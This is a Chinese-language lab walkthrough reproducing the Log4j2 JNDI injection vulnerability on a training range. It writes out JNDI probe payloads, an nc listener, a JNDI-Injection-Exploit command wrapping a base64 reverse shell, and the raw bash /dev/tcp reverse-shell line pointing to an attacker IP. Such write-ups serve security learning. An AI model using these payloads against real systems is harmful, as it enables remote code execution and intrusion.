简介
Apache Log4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
漏洞描述
logger在执行日志的时候,就会执行中间的表达式,如表达式是JNDI就会远程下载文件到本地 并执行。
影响范围
Apache Log4j 2.x <= 2.15.0-rc1
漏洞复现
所需工具
Netcat netcat 1.11 for Win32/Win64
JNDI https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
java 还有一台VPS(没有VPS的可以把靶场搭载本地虚拟机,通过内网环境复现,步骤一致)
靶场
打开靶场平台直接创建一个log4j靶场进行复现
启动一个log4j靶场
点击问号进行传参,并且进行抓包
利用dnslog域名解析探测,判断是否存在Log4j漏洞
DNSLog链接指向: DNSLog Platform
先从DNSLog获得一个域名,然后将该DNSlog通过JNDI表达式传输到服务器。
例如: ${jndi:ldap://dns} 或者 ${jndi:rmi://dns}
这里直接发出去发现网页报404错误,我们将其进行URL编码后在重新发包
回显成功后,返回到DNSLog,刷新数据发现已经被记录了。所有初步判断存在log4j漏洞
接着我们利用VPS(如果没有VPS的可以将靶场搭建在本地,利用内网环境复现)
在VPS上启动nc监听
nc -lvp 监听端口
在打开JDNI注入工具,编译我们的恶意命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,xxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx
红色部分的为反弹shell的命令进行base64编码👇
bash -i >& /dev/tcp/攻击机的ip地址/nc监听的端口 0>&1
在进行base64编码:
Base64 在线编码解码 | Base64 加密解密 - Base64.us
蓝色的为攻击机的IP
设置好命令后复制到JNDI,获得我们的payload
生成可用payload后,我们回到靶场进行抓包,将DNSLog换成我们生成的payload
(如果是用VPS,需要到防火墙将监听端口打开。8180 1099 1389 以及nc监听的端口)
将payload进行URL编码后重新发送,页面回显后查看VPS
(如果没反弹成功就多换几个payload,或者将nc监听和JNDI注入工具关闭重新打开)
反弹shell成功,可以执行靶场命令,获得flag
本章注意点
1、在将JNDI表达式传入参数时记得URL编码,不然页面报404错误
2、利用JNDI工具时要把JNDI监听的三个端口开放,以及还有nc监听的端口
3、如果反弹shell不成功,多换几个payload,都换过了还不行就重新开启下NC监听和JNDI注入(可能是靶场不太稳定的缘故)